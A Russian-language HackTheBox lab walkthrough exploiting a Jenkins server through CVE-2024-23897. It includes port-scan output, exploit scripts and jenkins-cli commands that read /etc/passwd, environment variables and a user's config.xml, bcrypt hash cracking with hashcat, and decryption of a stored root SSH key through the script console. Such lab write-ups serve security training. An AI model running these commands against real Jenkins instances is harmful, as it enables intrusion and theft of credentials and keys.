Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Поддержать меня на Boosty.

Обзор сервисов

Начнем решение машины со сканирования портов с помощью rustscan:

$ rustscan --range=1-65535 -a 10.10.11.10 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.10:22
Open 10.10.11.10:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.10
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-16 10:19 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Initiating Ping Scan at 10:19
Scanning 10.10.11.10 [2 ports]
Completed Ping Scan at 10:19, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:19
Completed Parallel DNS resolution of 1 host. at 10:19, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 10:19
Scanning 10.10.11.10 [2 ports]
Discovered open port 8080/tcp on 10.10.11.10
Discovered open port 22/tcp on 10.10.11.10
Completed Connect Scan at 10:19, 0.05s elapsed (2 total ports)
Initiating Service scan at 10:19
Scanning 2 services on 10.10.11.10
Completed Service scan at 10:19, 6.14s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.10.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 1.97s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.21s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Nmap scan report for 10.10.11.10
Host is up, received conn-refused (0.051s latency).
Scanned at 2024-03-16 10:19:06 UTC for 8s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    syn-ack Jetty 10.0.18
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.89 seconds

Как и на всех стандартных машинах с Linux на HackTheBox мы обнаруживаем открытый SSH и веб.

Jenkins

Перейдем на веб-сервис и обнаружим Jenkins 2.441.

alt text

Зная эту версию, мы находим CVE-2024-23897 и множество эксплоитов. Воспользуемся одним из них.

git clone https://github.com/pulentoski/CVE-2024-23897-Arbitrary-file-read
cd CVE-2024-23897-Arbitrary-file-read

Обязательно читаем скрипт перед запуском!

python3 CVE-2024-23897-A-scaner.py

Вводим ссылку на Jenkins http://10.10.11.10:8080/, затем пишем s, чтобы скачать {url}/jnlpJars/jenkins-cli.jar.

Попробуем для начала опцию 6, чтобы скачать /etc/passwd/. Нам это удается, после чего пробуем опцию 2, который выкачает содержимое /proc/self/environ.

alt text

HOSTNAME похож на таковой в Docker-контейнере, а JENKINS_HOME=/var/jenkins_home.

Давайте проверим второй скрипт CVE-2024-23897-B-DOCKER-scaner.py. Опция 4 позволяет нам найти пользователей.

python3 CVE-2024-23897-B-DOCKER-scaner.py

alt text

Отсюда мы узнаем имя пользователя jennifer и ее название каталога с ее конфигурационными файлами jennifer_12108429903186576833.

Также выполним опцию 5 и узнаем, что на сервере сохранен SSH-ключ.

alt text

Чтобы узнать расположение файлов в Jenkins, попробуем развернуть его локально из контейнера.

podman run -p 8080:8080 --name jenkins -d docker.io/jenkins/jenkins:2.441-jdk17

После запуска узнаем пароль админа:

podman logs jenkins

alt text

Перейдем на http://localhost:8080 и введем пароль.

alt text

Проведем базовую установку.

alt text

Создадим тестового администратора.

alt text

Зайдем в контейнер:

podman exec -it jenkins /bin/bash

Перейдем в каталог /var/jenkins_home и посмотрим на структуру:

alt text

Теперь проверим содержимое каталога users, а также внутреннюю структуру и конфигурационный файл пользователя:

alt text

Узнав, как хранятся пользователи в Jenkins, получим хеш пользователя jennifer:

java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'

alt text

Сохраним хеш в файл hash.txt, предварительно удалив jbcrypt:, а затем запустим брутфорс:

hashcat -a 0 -m 3200 hash.txt rockyou.txt

alt text

Теперь можем попробовать залогиниться как jennifer.

Перейдем в раздел Credentials http://10.10.11.10:8080/manage/credentials/ и проверим, что за SSH-ключ сохранен в сборочной системе.

alt text

Это ключ пользователя root.

Перейдем в свойства сохраненного ключа (у него режим доступа без ограничений) http://10.10.11.10:8080/manage/credentials/store/system/domain/_/credential/1/update, и увидим, что ключ не показывается.

alt text

Нажмем на Consealed for Confidentiality правой кнопкой мыши и выберем Inspect.

alt text

Здесь увидим идентификатор ключа внутри Jenkins.

alt text

Копируем зашифрованный ключ вместе с {…}.

Чтобы расшифровать ключ, воспользуемся панелью для скриптинга Jenkins http://10.10.11.10:8080/script и функции hudson.util.Secret.decrypt (https://devops.stackexchange.com/a/2192):

println(hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY...MR8IMMaKSM=}"))

alt text

Сохраняем полученный ключ в файл id_rsa, применяем к нему chmod и логинимся по SSH.

nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa [email protected]

alt text

Флаг пользователя

Перейдем внутрь docker-контейнера с Jenkins и зайдем в /var/jenkins_home, чтобы забрать флаг:

$ docker ps
CONTAINER ID   IMAGE                   COMMAND                  CREATED       STATUS        PORTS                                                  NAMES
0f52c222a4cc   jenkins/jenkins:2.441   "/usr/bin/tini -- /u…"   5 weeks ago   Up 16 hours   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 50000/tcp   boring_euclid
$ docker exec -it 0f52c222a4cc /bin/sh
$ cd /var/jenkins_home

alt text

Флаг суперпользователя

alt text